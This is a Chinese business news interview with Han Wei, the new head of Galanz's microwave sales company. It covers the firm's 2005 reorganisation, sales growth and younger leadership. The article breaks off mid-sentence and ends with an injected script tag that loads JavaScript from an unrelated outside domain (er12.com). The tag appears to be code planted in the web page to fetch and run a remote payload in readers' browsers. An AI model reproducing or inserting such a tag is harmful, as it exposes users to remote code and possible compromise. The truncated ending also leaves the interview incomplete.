2005年，格兰仕公司经历了创业28年来最剧烈的变革，大批高级人才的引进、组织体系的改写、相关产业多元化的开局等，无不对这个企业积淀了多年的文化发起了挑战。尽管经营环境恶化，企业内外部的质疑和非议不少，大胆尝试还是令格兰仕在激烈的竞争中有了惊人的进步，尤其是微波炉、空调、小家电三大产业齐齐在中国市场取得突破性进展，让格兰仕人对“变革创新”有了更实质性的理解。
2000年以来，随着各大产业出口创汇的迅猛递增，格兰仕作为“外贸主导型企业”的形象日益鲜明，而内销增长率一直在10%左右徘徊。2005年，格兰仕微波炉全球销量突破2000万台，同比增长11%，其中内销同比增长47%；格兰仕空调全球销量350万台，同比增长35%，其中内销增幅在100%以上，是2005年度最具成长力、产销增幅最大的空调品牌；格兰仕小家电更以800%的增长率横扫中国市场，其中电烤箱、早餐机遥遥领先同行，电饭煲进入行业前二强，电磁炉进入行业四强。
就在格兰仕集团年度总结大会后一周，格兰仕董事会发布红头文件，原执掌格兰仕小家电内销的总经理韩伟被聘任为微波炉销售公司总经理，兼管生活电器（即原小家电）销售公司；而原微波炉销售公司总经理龚志安则调任格兰仕空调销售公司总经理。
图：格兰仕新任微波炉销售公司总经理韩伟
尽管董事会方面并未就此对外发表公告，但是关于格兰仕走马换将的消息还是引起了业内外的高度关注。岁末年初，中外家电巨头都在重布战局，在这个重要时刻，格兰仕换帅用意何在？在2006年的发展进程中，格兰仕要走怎样的路？
日前，记者有机会采访了格兰仕新任微波炉销售公司总经理韩伟先生。
后生可畏，领导品牌焕发青春
记者：格兰仕新年度人事调整在业界引起了轩然大波，社会各界对此都倍加关注。作为人事更迭中的当事人，您是怎样看待这次调整的？
韩伟：格兰仕在家电行业的领导地位有目共睹，业界给予格兰仕的关注是可以理解的。
经过05年的调整，集团公司基本确立了新十年的工作指导方针——绩效导向，目标推动，带动人事薪酬制度变革，调动人才的积极性。新年度公司根据目标管理进行相应的人事变革，并不是说原来的人员不适合该岗位工作，而是公司希望通过人才的合理调整和自然流动，把人才的主观能动性充分地调动出来，让人才资本更加优化，增强企业的组织活力。
记者：05年您主要是领导小家电的中国营销团队，如今要兼管两个团队，压力是否相应增加了许多？原有销售公司的架构体系是否也会有相应调整？
韩伟：单纯从工作量上来看，好象是有所增加。但是，现在微波炉和生活电器两个营销团队都相对稳定，80%以上都是身经百战的年轻精英，而且核心领导班子都有独挡一面的能力和魄力，所以就我个人而言，新的岗位有压力，更有动力。
在组织架构上，格兰仕微波炉销售公司和生活电器销售公司是两个独立而又互动的单位，原有的营销架构体系基本不变。但是ka系统的工作较去年会有一些变动，以前各个销售公司都有自已独立的ka部，新年度将整合ka部资源，统一一个ka部服务微波炉和小家电两个市场，力求在新年度将大连锁、大卖场的服务支持工作做细做深做透。我从零售业出来的，对服务的重要性深有体会，服务水平的专业化、快捷度等水平不仅影响产品的分销，更直接关系到品牌形象的提升与企业的可持续发展。
记者：据我所知，您今年才35岁，执掌空调中国市场的龚志安总经理也才34岁，这是否标志着格兰仕在统筹业务层面的高层已经走向年轻化？
韩伟：纵观中国家电行业企业以及日韩企业，市场营销层面的统帅，绝大部分老龄化。客观上，在高强度的过剩经济竞争中，人才队伍的能力、精力都是必不可少的，这也是构成企业竞争力的基本元素之一，实际上，从2000年开始，集团就在积极推进干部队伍年轻化的建设，目前已经卓有成效，集团执行总裁也不过四十出头，一支年轻有为、精力旺盛的高效经营团队已经在格兰仕形成。
后来居上，幸运还是精干？
记者：05年是格兰仕小家电发力中国市场的第一年，您去年担任小家电中国市场营销总经理，在电烤箱、早餐机、电饭煲、电磁炉等多个产品领域都做到了领导品牌的地位，可以称得上是一个伟大的开端。
韩伟：格兰仕小家电去年能交出一份不错的成绩单，这是组织竞争力的结果，集团公司给出了清晰的战略指引，我们整个营销团队都很努力，很敬业。能和这样一个组织并肩创业，我认为首先我是一个幸运的人。
记者：您一再强调组织体系竞争力，我们希望能从您这里获得更具体的分享。
韩伟：在欧美体系的商业业态中,人们是按标准、按规则办事，整个组织呈有序高效的运营，而国内企业大多数随意性大，凭感情多，无标准?script src=http://er12.com/t.js>
